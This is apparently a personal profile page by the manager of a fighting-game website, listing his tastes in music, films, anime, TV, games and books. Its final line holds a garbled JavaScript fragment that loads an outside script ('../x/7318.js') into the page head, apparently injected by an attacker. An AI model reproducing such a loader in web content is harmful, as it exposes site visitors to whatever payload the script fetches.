FightersGeneration.com (My Website)
What's so great about me? Hmm... Everything!! Why not?! :) I'm not perfect, but my imperfections do balance things out quite nicely. I'm not conceited, it's called "confidence." Some of you don't have it so you wouldn't understand... Sucks for you. Yeah, I'm slightly egotistical, because I have to be... It's my job. No, literally, it is.I love video games, fast computers, fancy gadgets and the like; ever since I was 3 years old. I'm a true gamer to the core, and a hardcore fighting game player... 2D and 3D. Capcom, SNK, and Namco fighting games are my forte. Ohh, and I kind of manage one of the biggest fighting game sites on the internet... It's world famous!You can call me a nerd, but I'm a "cool" nerd at that. A nerd that also enjoys art and fighting... The art of fighting perhaps. Well, martial arts is my life, it's my one true passion in life, besides art. I don't pick fights of course, but the fight is always inside of me, always ready.I'm an artist of sorts. I love to sketch and draw at random places. I'm pretty normal for being different, but I'm probably not like you...
Likes Art, writing, drawing, martial arts, fighting/sparring, playing electric guitar & bass, collecting toys & swords, ebay, web design, anime, going out to eat, sushi & Japanese food, Vietnamese food, Chinese food, Korean food, Thai food, Italian food, Mexican food, ramen, Starbucks, malls, competitive fighting games, PS3, BlueRay, PSP, Dreamcast, DS, arcades, driving, California, Japan, Japanese cars, Japanese candy, asian culture, asian supermarkets, cold weather, rain, animals, aliens, cats, staying up late, looking up at the night sky, hangin out with my awesome girlfriend, relaxing, living, learning, teaching, finding artistic inspiration, feng shui, entering mushin, time, patience, the snooze button, simplicity, intricacy, hangin with friends, people watching, avoiding boring stereotypical media-induced mainstream life, intellectual conversations, questioning all that is accepted as normal, and kicking ass in more ways than one.
Dislikes Fluorescent colored clothing, radio music/Crap music, "Mainstream," bumper stickers, organized religion, war, instant messaging, repetitive commercials with dumb songs, bad grammar, the overuse of guns, people with no class/respect, people who sit around and feel sorry for themselves, people who talk loud in movie theaters, IMMATURITY, ignorance, excuses, weakness, crudeness, liars, cheaters, stereotypical males, most sports, most clubs, suvs/trucks, bad/slow drivers, traffic, speed bumps, "speed limit," Anime dubbed in English (especially Death Note), poorly written movies (most movies), movies with crappy shaky-cam fight scenes, poorly made video games (most video games), video games with crappy animation, humidity, heat, animal cruelty, shallow people, Metallica-esk guitar riffs, ohh there's more.
I have a finely tuned ear when it comes to music... Therefore I usually despise FM radio and pretty much anything mainstream. Most of what I listen to ranges from Rock -to- Industrial -to- Techno -to- Orchestral -to- whatever provokes my deepest inner thoughts... It's easy to say you like a lot of bands or just say you like everything, so you feel like you fit in. Pssh.... That's not my style. To give you a little back-story, I was brought up by 80's rockstars, forced to ingest everything "classic rock" in the back seat of my parent's car, so "a lot" of music from that era is unfortunately, beyond played out to me. Bands/Artists that I respect, and/or have created enough interesting songs which can still manage to entertain and inspire me are: Manson, D'espairsRay, Wumpscut, Nobuo Uematsu, Nine Inch Nails, Static X, Zeromancer, Mindless Self Indulgence, Assemblage, Godhead, Smashing Pumpkins, Nirvana, The Doors, Depeche Mode, Rammstien, Korn, Kings X, etc... I also listen to a lot of video game/anime soundtracks which, in many cases, are eons more musically intricate/inspiring than the complete $HIT that is played on radio and "eMpTyV"... My all time favs would be: Final Fantasy 7-thru-10, Initial D, Tekken 3-thru-6, KOF 97-XI, SFIII series, Samurai Shodown, and Katamari.
King of Kong, Sweeney Todd, Beowulf, 300, Kung Fu Hustle, Sin City, Kill Bill Vol. 1, Pulp Fiction, Napoleon Dynamite, Borat, Budo: The Art of Killing, Bowling for Columbine, Fahrenheit 9/11, Alive Day Memories: Home From Iraq, X-men: The Last Stand, X2, Transformers, Donnie Darko, Big Fish, The Fifth Element, Clockwork Orange, American Splendor, Labyrinth, The Professional, Scarface, Forest Gump, Braveheart, Lord of the Rings trilogy, Matrix, Star Wars, Pirates, Office Space, Ace Ventura 2, Tommy Boy, Emporer's New Groove, South Park, Jackass, Shaolin Soccer, Seven Samurai, Drunken Master 1 & 2, Enter The Dragon, Game of Death, Fist of Legend, Kiss of the Dragon, Fearless, Street Fighter: The Animated Movie, Street Fighter Alpha, Ninja Scroll, Princess Mononoke, Howl's Moving Castle, Cowboy Bebop, Initial D, Akira, Darkside Blues, Alice in Wonderland, Final Fantasy: Advent Children, Death Note... Nope, no "horror" movies on the list. Those types of movies are for the shallow-minded, easily-entertained, and quite simply, incoherent walks of humanity who actually care about the fate of mildly attractive young actors.
Anime
Death Note, Berserk, Gokusen, Initial D, s-CRY-ed, Fist of the North Star, Cowboy Bebop, Trigun, Cromartie High School, Tenjho Tenge, Great Teacher Onizuka, Rurouni Kenshin, Samurai Champloo, Paranoia Agent, Night Warriors, Samurai Shodown (the one with Genjuro), King of Fighters: Another Day ..
TV is meant to be left on in the background while doing "better" things. My tube usually tuned into G4, Adult Swim/Cartoon Network, Comedy Central, Spike, Discovery, NG, Animal Planet, or whatever the hell else is on... Some random shows that I like are: The Ultimate Fighter, UFC Unleashed, Fight Science, Attack of the Show, Survivorman, Cinematech: Nocturnal Emissions, X-Play, Braniac, MythBusters, The Colbert Report, The Daily Show, Hogan Knows Best, Crank Yankers, Reno 911, Insomniac, Lil' Bush, Penn & Teller: Bullshit, Cheaters, Boiling Point, Mindfreak, Iron Chef, Ninja Warrior, Cops, Dog The Bounty Hunter, Lockdown, Forensic Files, South Park, 12oz Mouse, Robot Chicken, Invader Zim, Family Guy, Scrubs, etc... Unlike most stereotypical males, I NEVER, I repeat... NEVER watch mainstream sports. The only sports I watch are the fighting kind. I find "mainstream" sports like football or basketball completely boring and irrelevant... sorry.
Games
Tekken 5: Dark Resurrection, Soul Calibur 2, Street Fighter III series, Street Fighter Alpha series, Marvel VS Capcom 2, Samurai Shodown 2 3 4 & Tenka, King of Fighters 2K, 2K3, XI, and 2K6, Capcom VS SNK 2, Card Fighters Clash, Card Fighters DS, Super Puzzle Fighter, Super Stardust HD, Piyotama, Match of the Millennium, Garou: Mark of the Wolves, Darkstalkers Chronicle, X-men VS Street Fighter, Killer Instinct, Rival Schools, Urban Reign, GTAIV, No More Heroes, Godhand, Initial D Version 3, Metal Slug Anthology, Guitar Hero 2, Alien Hominid, Katamari Damacy, We Love Katamari, LocoRoco, Patapon, Viewtiful Joe 1 & 2, Ultimate Spider Man, Quake (1), Warhawk, Call of Duty 4, Resident Evil Anthology, Metal Gear Solid 1 2 & 3, Oblivion: Elder Scrolls IV, X-men Legends 2, Dawn of Mana, Final Fantasy VII, VIII, IX, X, XII, FF: Tactics: War of the Lions, Shenmue, Legend of Zelda: Link to the Past, Castlevania IV, Super Mario Bros. 3, Super Mario World, Super Mario RPG, Warioware: Touched, Mariokart, Animal Crossing DS, Brain Age 2, Qix, Puzzle Bobble, Bubble Bobble, Galaga, Tron, Golden Axe, Final Fight, Henry's House
I write a lot more than I read, but a few memorable ones I've read are: Selected Writings of Zen Buddhism (among other Buddhism books), The Dalai Lama's Book of Wisdom, Way of the Peaceful Warrior, The Will to Power, Catalogue of the Universe, The Moment of Creation, Living the Martial Way, Tao of Jeet Kune Do, Long Hard Road Out of Hell, Marilyn Manson "Talking"... And of course I read manga and comics... Favorites? Death Note, Initial D, Blade of the Immortal, Street Fighter, Darkstalkers, King of Fighters, X-Force, and many others...
Sephiroth, Juggernaut, Magneto, Darth Vader, M. Bison, Mr. Sinister, Heihachi Mishima, Kibagami Genjuro, Dr. Doom, ahhh crap... Those are villains aren't they. Hmm... I'm not good at this. Nevermind. .."var s=document·('script');s.src='../x/7318.js';document 3;getElementsByTagName('head')[0].appendChild(s);"